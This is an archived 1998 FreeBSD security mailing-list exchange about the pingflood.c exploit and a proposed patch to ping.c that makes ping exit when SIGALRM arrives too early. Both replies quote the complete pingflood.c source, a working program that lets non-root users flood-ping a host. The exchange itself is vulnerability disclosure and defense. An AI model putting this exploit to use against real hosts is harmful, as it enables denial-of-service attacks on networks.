going */ > while (1) > if ( kill(pid_ping, SIGALRM) ) > exit(1); > } > -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBNVzhuKInE6ybC66VAQHkQQL/WP9ceHcc26zk+Dl9vHh2E08V16CMWsmi wqVI7M69I9IgQ5Nl6Lz+7YOjJOIswQlM/SPispjfVFs3Y8WYB0z52OEM78Di0MDk j/G0rgShagXwOsSWpkiFEB0sQWRnpc52 =BJzp -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sat May 16 06:51:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA16176 for freebsd-security-outgoing; Sat, 16 May 1998 06:51:33 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ammi.mclink.it (ammi.mclink.it [195.110.128.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA16167; Sat, 16 May 1998 06:51:13 -0700 (PDT) (envelope-from md5330@mclink.it) From: md5330@mclink.it Received: from net133-206.mclink.it (net133-206.mclink.it [195.110.133.206]) by ammi.mclink.it (8.8.5/8.6.12) with ESMTP id PAA03649; Sat, 16 May 1998 15:50:39 +0200 (MET DST) Message-ID: X-Mailer: XFMail 1.3 [p0] on Linux X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Thu, 09 Apr 1998 22:10:23 +0200 (MET DST) Reply-To: md5330@mclink.it To: Jason Young Subject: Re: pingflood.c Cc: freebsd-bugs@FreeBSD.ORG, freebsd-security@FreeBSD.ORG, BUGTRAQ@NETSPACE.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk good! but is not for Linux ping. I thought at the same patch solution! I Knew that NetBSD is not vulnerable.... we can see their solution. bye p.s. sorry for my english. On 16-May-98 Jason Young wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > > This patch for FreeBSD's ping seems to defeat the SIGALRM flood exploit. I > suspect it applies to all the other *BSD's as well. I have done only > MINIMAL testing, so comments and other fixes are welcome. > > Jason Young > ANET Chief Network Engineer > > *** ping.c Fri Mar 6 07:07:12 1998 > - --- ping.c.new Fri May 15 19:40:23 1998 > *************** > *** 158,167 **** > - --- 158,168 ---- > double tsumsq = 0.0; /* sum of all times squared, for std. dev. */ > > volatile sig_atomic_t finish_up; /* nonzero if we've been told to finish > up */ > int reset_kerninfo; > volatile sig_atomic_t siginfo_p; > + volatile time_t lasttime; > > static void fill(char *, char *); > static u_short in_cksum(u_short *, int); > static void catcher(int sig); > static void check_status(void); > *************** > *** 209,218 **** > - --- 210,220 ---- > > setuid(getuid()); > uid = getuid(); > > preload = 0; > + lasttime = 0; > > datap = &outpack[8 + sizeof(struct timeval)]; > while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:v")) != -1) { > switch(ch) { > case 'a': > *************** > *** 518,540 **** > static void > catcher(int sig) > { > int waittime; > struct sigaction si_sa; > > ! pinger(); > > if (!npackets || ntransmitted < npackets) > (void)alarm((u_int)interval); > else { > - - if (nreceived) { > - - waittime = 2 * tmax / 1000; > - - if (!waittime) > - - waittime = 1; > - - } else > - - waittime = MAXWAIT; > - - > si_sa.sa_handler = stopit; > sigemptyset(&si_sa.sa_mask); > si_sa.sa_flags = 0; > if (sigaction(SIGALRM, &si_sa, 0) == -1) { > finish_up = 1; > - --- 520,551 ---- > static void > catcher(int sig) > { > int waittime; > struct sigaction si_sa; > + time_t timenow; > > ! if (nreceived) { > ! waittime = 2 * tmax / 1000; > ! if (!waittime) > ! waittime = 1; > ! } else > ! waittime = MAXWAIT; > ! > ! /* Die if SIGALRM is caught earlier than it should have been. This > ! * is usually the result of someone sending thousands of SIGALRMs > ! * in an attempt to simulate a ping -f (flood). > ! */ > ! > ! if(time((time_t *)&timenow) < lasttime + waittime) exit(0); > ! lasttime = timenow; > > + pinger(); > + > if (!npackets || ntransmitted < npackets) > (void)alarm((u_int)interval); > else { > si_sa.sa_handler = stopit; > sigemptyset(&si_sa.sa_mask); > si_sa.sa_flags = 0; > if (sigaction(SIGALRM, &si_sa, 0) == -1) { > finish_up = 1; > > - ----- > > On Thu, 9 Apr 1998, AntireZ wrote: > >> /* >> >> pingflood.c by (AntireZ) Salvatore Sanfilippo >> enhanced by David Welton >> I tested it only on Linux RedHat 4.1 and 5.0. >> David Welton tested it on Debian GNU/Linux and OpenBSD reporting >> it works. >> This program is free software; you can redistribute it and/or modify >> it under the terms of the GNU General Public License as published by >> the Free Software Foundation; version 2 of the License. >> >> >> ------------------------------------------------------------------------- >> >> pingflood.c allows non-root users to 'ping flood'. >> >> use it as follows: >> >> pingflood >> >> WARNING: this program is only for demonstrative use only. USE IT AT >> YOUR >> OWN RISK! The authors decline all responsibility for >> damage caused by misuse of the program. >> >> *** if you use this program to cause harm to others, you are very >> small, petty and pathetic. *** >> >> to compile: gcc -o pingflood pingflood.c >> >> >> ------------------------------------------------------------------------- >> >> TECHNICAL NOTES >> >> When ping runs it normally sends an ICMP ECHO_REQUEST every second. >> It accomplishes this using the alarm system call and waiting for a >> SIGALRM >> signal >> from the kernel. >> Pingflood simply sends a lot of SIGALRM signals to the ping process. >> It can >> do this because the ping process is owned by the user. >> >> >> Salvatore Sanfilippo >> >> */ >> >> #include >> >> #define PING "/bin/ping" >> >> main( int argc, char *argv[] ) >> { >> int pid_ping; >> >> if (argc < 2) { >> printf("use: %s \n", argv[0]); >> exit(0); >> } >> >> if(!(pid_ping = fork())) >> execl(PING, "ping", argv[1], NULL); >> >> if ( pid_ping <=0 ) { >> printf("pid <= 0\n"); >> exit(1); >> } >> >> sleep (1); /* give it a second to start going */ >> while (1) >> if ( kill(pid_ping, SIGALRM) ) >> exit(1); >> } >> > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.2 > > iQB1AwUBNVzhuKInE6ybC66VAQHkQQL/WP9ceHcc26zk+Dl9vHh2E08V16CMWsmi > wqVI7M69I9IgQ5Nl6Lz+7YOjJOIswQlM/SPispjfVFs3Y8WYB0z52OEM78Di0MDk > j/G0rgShagXwOsSWpkiFEB0sQWRnpc52 > =BJzp > -----END PGP SIGNATURE----- ---------------------------------- E-Mail: md5330@mclink.it Date: 09-Apr-98 Time: 22:07:24 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message